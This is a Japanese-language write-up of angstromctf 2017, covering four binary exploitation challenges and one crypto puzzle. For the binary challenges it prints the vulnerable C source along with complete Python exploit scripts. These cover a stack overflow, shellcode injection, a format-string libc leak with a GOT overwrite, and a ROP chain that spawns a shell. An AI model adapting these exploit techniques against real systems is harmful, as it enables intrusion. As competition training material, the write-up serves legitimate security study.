angstromctf 2017 Writeup
チームで参加しました。
Crypto1問、Binary4問解いて470点。チーム全体で780点取り15位でした。
他のメンバーのWriteup
Writeup
Running in Circles (Binary 50)
このCTFのBinaryはすべてソースコードも渡された。 ソースコードを見てみるとシェルを開く関数が用意されている。
void give_shell() { gid_t gid = getegid(); setresgid(gid, gid, gid); system("/bin/sh -i"); }
mainでは入力するバイト数を読み込んでその分読み込みを行うようになっている。elseの部分を見てみると256引いてから残りのバイト数をチェックせずに読み込んでいるため、スタックバッファオーバーフローが起こせる。あとは戻り番地をシェルを開く関数に変えて終わり。
int main(int argc, char **argv) { char buffer[256]; int pos = 0; printf("Welcome to the circular buffer manager:\n\n"); while(1) { int len; printf("How many bytes? "); fflush(stdout); scanf("%u", &len); fgets(buffer, 2, stdin); if (len == 0) break; printf("Enter your data: "); fflush(stdout); if (len < 256 - pos) { fgets(&buffer[pos], len, stdin); pos += len; } else { fgets(&buffer[pos], 256 - pos, stdin); len -= (256 - pos); pos = 0; fgets(&buffer[0], len, stdin); pos += len; } printf("\n"); } return 0; }
from ppapwn import * import time if __name__ == '__main__': s = Local(["./run_circles"]) print s.recvuntil("bytes? ") s.sendline("544") print s.recvuntil("data: ") s.sendline("A"*535 + p64(0x400806)) print s.recvuntil("bytes? ") s.sendline("0") s.interact()
Art of the Shell (Binary 80)
void be_nice_to_people() { gid_t gid = getegid(); setresgid(gid, gid, gid); } void vuln(char *input) { char buf[64]; strcpy(buf, input); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: art_of_the_shell [str]\n"); return 1; } be_nice_to_people(); vuln(argv[1]); return 0; }
権限昇格をしてくれているのでシェルを開くだけでよさそう。strcpyはraxにbufの先頭番地を格納するので、シェルコードをbufの先頭に置いてROPでjmp raxをすればいい。
# exploit.py from ppapwn import * if __name__ == '__main__': payload = "" payload += get_shellcode("lin64") payload += "A" * (72 - len(payload)) payload += "\x65\x05\x40" # jmp rax print payload
$ ./art_of_the_shell $(python exploit.py)
To-Do List (Binary 140)
リストを表示する部分にフォーマットストリングバグの脆弱性がある。
void view_list() { char list_name[16]; if (!read_list_name(list_name)) return; FILE *fp = fopen(list_name, "r"); if (!fp) { printf("Error opening list\n"); return; } char item[ITEM_LENGTH]; while (readline(item, ITEM_LENGTH, fp)) { printf(item); printf("\n"); } fclose(fp); }
以下のように繰り返し%pを入れると10個目の引数の部分がbufの先頭に当たることがわかる。
> c Enter the name of the list: hoge AAAAAAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p > v Enter the name of the list: hoge AAAAAAAA0x1,0x2e,0xe,0x7ffc410fa660,0x2c70252c70252c70,0x7ffc410fa6c0,0x232c010,0x65676f68,(nil),0x4141414141414141,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70
writelineで入力で受け取った文字列をfwriteに入れているのでfwriteをsystemに変えればシェルを開けそうとわかる。
static void writeline(char *buffer, int len, FILE *fp) { int newline_idx = strcspn(buffer, "\0"); if (newline_idx == len) newline_idx = len - 1; buffer[newline_idx] = '\n'; fwrite(buffer, newline_idx + 1, 1, fp); }
fwriteのGOTをsystemのアドレスに上書きするために、まず以下のようにfwriteのオフセットを知り、実際のfwriteの番地からオフセットの値を引くことでlibcの番地を割り出す。そのlibcの番地にsystemのオフセットを足せばsystemのアドレスになるのでその値をfwriteのGOTに上書きする。
ubuntu-xenial% ldd todo_list linux-vdso.so.1 => (0x00007ffe60ad0000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb2a916b000) /lib64/ld-linux-x86-64.so.2 (0x00005600f5703000) ubuntu-xenial% nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep -e " fwrite$" -e " system$" 000000000006e6e0 W fwrite 0000000000045390 W system
以下がexploitコード。ペイロードを送るときにバッファにゴミが入っていることがあるため、初めに(8~9行目あたりで)0埋めしている。
from ppapwn import * def leak(addr): s.sendline("c") s.recvuntil("list: ") s.sendline("leak_addr") for i in range(1,63)[::-1]: s.sendline("A"*i) s.sendline("%11$sAAA" + p64(addr)) s.sendline("") s.sendline("v") s.recvuntil("list: ") s.sendline("leak_addr") s.recvuntil("\nA\n") return u64(s.recvuntil("AAA")[:-3]) def got_overwrite(target,addr): s.recvuntil("> ") s.sendline("c") s.sendline("got_overwrite") for i in range(1,63)[::-1]: s.sendline("A"*i) for i in range(0,6,2): payload = "" payload += "%" + str(u64(p64(addr)[i:i+2])).rjust(6,'0') + "x" payload += "%12$hnAA" payload += p64(target+i) s.sendline(payload) s.sendline("") s.recvuntil("> ") s.sendline("v") s.sendline("got_overwrite") s.recvuntil("> ") if __name__ == '__main__': if len(sys.argv) == 1: s = Local(["./todo_list"]) else: s = Remote("shell.angstromctf.com",9000) s.sendline("hack") s.sendline("hack") got_fwrite = 0x6020c8 offset_fwrite = 0x6e6e0 offset_system = 0x45390 libc_base = leak(got_fwrite) - offset_fwrite print "[*] leak libc base:", hex(libc_base) print "[*] overwrite fwrite GOT" got_overwrite(got_fwrite,libc_base+offset_system) s.sendline("c") s.sendline("exploit") s.sendline("/bin/sh") s.recvuntil("list: ") s.interact()
No libc for You (Binary 150)
getsしてるだけの単純なプログラム。スタックバッファオーバーフローの脆弱性がある。
#include <stdio.h> #include <stdlib.h> #include <string.h> void vuln() { char buf[64]; gets(buf); printf("You said: %s\n", buf); } int main(int argc, char **argv) { vuln(); return 0; }
ubuntu-xenial% file nolibc4u nolibc4u: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=5706d8c0dd81b6dd639555de66affc8100fc4887, not stripped
静的リンクなので関数のアドレスは簡単にわかるがsystemはない。なのでROPでシステムコールを呼び出すことによってシェルを起動することにした。 以下のようなアセンブリコードをROPで実現する。
# setresuid(1003,1003,1003) mov rax, 0x75 mov rdi, 1003 mov rsi, 1003 mov rdx, 1003 syscall # execve("/bin/sh",0,0) mov rax, 0x3b mov rdi, ["/bin/sh"のアドレス] mov rsi, 0 mov rdx, 0 syscall
それぞれのガジェットを探してみるとpop rax
以外は見つかった。
ubuntu-xenial% rp++ -f nolibc4u -r 2 --unique | grep -e "pop rdi ; ret" -e "pop rdx ; pop rsi" 0x004014c6: pop rdi ; ret ; (177 found) 0x00441d29: pop rdx ; pop rsi ; ret ; (1 found) ubuntu-xenial% rp++ -f nolibc4u -r 1 --unique | grep "syscall" | grep "ret" 0x004666d5: syscall ; ret ; (5 found)
そこで、printfが出力した文字列の長さをraxに入れて返すということを使ってraxに値を代入した。例えば、長さ0x75の文字列を用意してprintfすればraxに0x75が入る。また、このprintfで出力する文字や"/bin/sh"はスタックに書き込んでもアドレスがわからないため、bssセクションを使った。bssセクションのアドレスはreadelf
コマンドでわかる。
ubuntu-xenial% readelf -S nolibc4u | grep "\.bss" [26] .bss NOBITS 00000000006cab60 000cab50
from ppapwn import * if __name__ == '__main__': syscall = 0x4666d5 pop_rdi = 0x4014c6 pop_rdx_rsi = 0x441d29 xor_rax = 0x42550f bss = 0x6cab60 vuln = 0x4009ae gets = 0x40fb60 printf = 0x40f330 s = Local(["./nolibc4u"]) # s = Local(["/problems/no_libc_for_you/nolibc4u"]) payload = "A" * 72 payload += p64(pop_rdi) + p64(bss) payload += p64(gets) payload += p64(pop_rdi) + p64(bss+8) payload += p64(gets) payload += p64(pop_rdi) + p64(bss+8) payload += p64(xor_rax) payload += p64(printf) payload += p64(pop_rdi) + p64(0) payload += p64(pop_rdx_rsi) + p64(0) + p64(0) # payload += p64(pop_rdi) + p64(1003) # payload += p64(pop_rdx_rsi) + p64(1003) + p64(1003) payload += p64(syscall) payload += p64(vuln) s.sendline(payload) s.sendline("/bin/sh") s.sendline("A" * 117) payload = "A" * 48 + "\0" + "A" * 23 payload += p64(pop_rdi) + p64(bss) payload += p64(pop_rdx_rsi) + p64(0) + p64(0) payload += p64(syscall) s.sendline(payload) s.interact()
Descriptions (Crypto 50)
テキストファイルが一つ渡される。
The horse was a small falcon runner. The horse was a huge goat pitcher. The pig is a quick falcon singer. The goat was a quick sheep speaker. The sheep is the big goat pitcher. The sheep was a slow sheep hitter. The horse is a tiny goat dancer. A cow is the huge bluejay dancer. The falcon is the fast sheep pitcher. The pig was a speedy falcon pitcher. The pig was the speedy goat singer. The goat was a huge sheep hitter. The horse was the speedy sheep runner. The cow was a speedy bluejay singer. A sheep is a small falcon catcher. The cow was the fast cow singer. The goat was a sluggish sheep catcher. The goat is the slow robin catcher.
1行で7ワードあるのでそれぞれのワードを1ビットに置き換えれば1行で1文字になりそうという直感を信じたらうまくいった。actf{…}の形式であることはわかっているので、そこの部分のビットはすぐにわかる。残りの部分が問題だが、後半のencod1ng
がちらっと見えたのと、割り当てるビットに規則性(hitter,runner,catcherなど同じカテゴリのものは同じビットになる)があったので結構すんなりといけた。
# solve.py def decode(c): if c in dic: return dic[c] else: return "*" dic = {} dic["tiny"] = "0" dic["dancer"] = "0" dic["hitter"] = "1" dic["speedy"] = "1" dic["fast"] = "1" dic["bluejay"] = "0" dic["cow"] = "1" dic["sluggish"] = "1" dic["robin"] = "0" dic["slow"] = "1" dic["quick"] = "1" dic["big"] = "0" dic["small"] = "0" dic["singer"] = "0" dic["speaker"] = "0" dic["The"] = "1" dic["the"] = "1" dic["A"] = "0" dic["a"] = "0" dic["was"] = "0" dic["is"] = "1" dic["horse"] = "1" dic["huge"] = "0" dic["falcon"] = "0" dic["runner"] = "1" dic["goat"] = "1" dic["pitcher"] = "1" dic["catcher"] = "1" dic["pig"] = "1" dic["sheep"] = "1" ans = "" for line in sys.stdin: x = "".join(map(decode,line.strip(" .\n").split(" "))) print x, if all([c != "*" for c in x]): print chr(int(x,2)) ans += chr(int(x,2)) else: print "" ans += "*" print ans
ubuntu-xenial% ./solve.py < sentences.txt 1100001 a 1100011 c 1110100 t 1100110 f 1111011 { 1100111 g 1110010 r 0111000 8 1011111 _ 1100101 e 1101110 n 1100011 c 1101111 o 1100100 d 0110001 1 1101110 n 1100111 g 1111101 } actf{gr8_encod1ng}
感想
割と解けたと思ったが後から考えると簡単な問題だったのでpwn良問集などでもっと力を付けたい。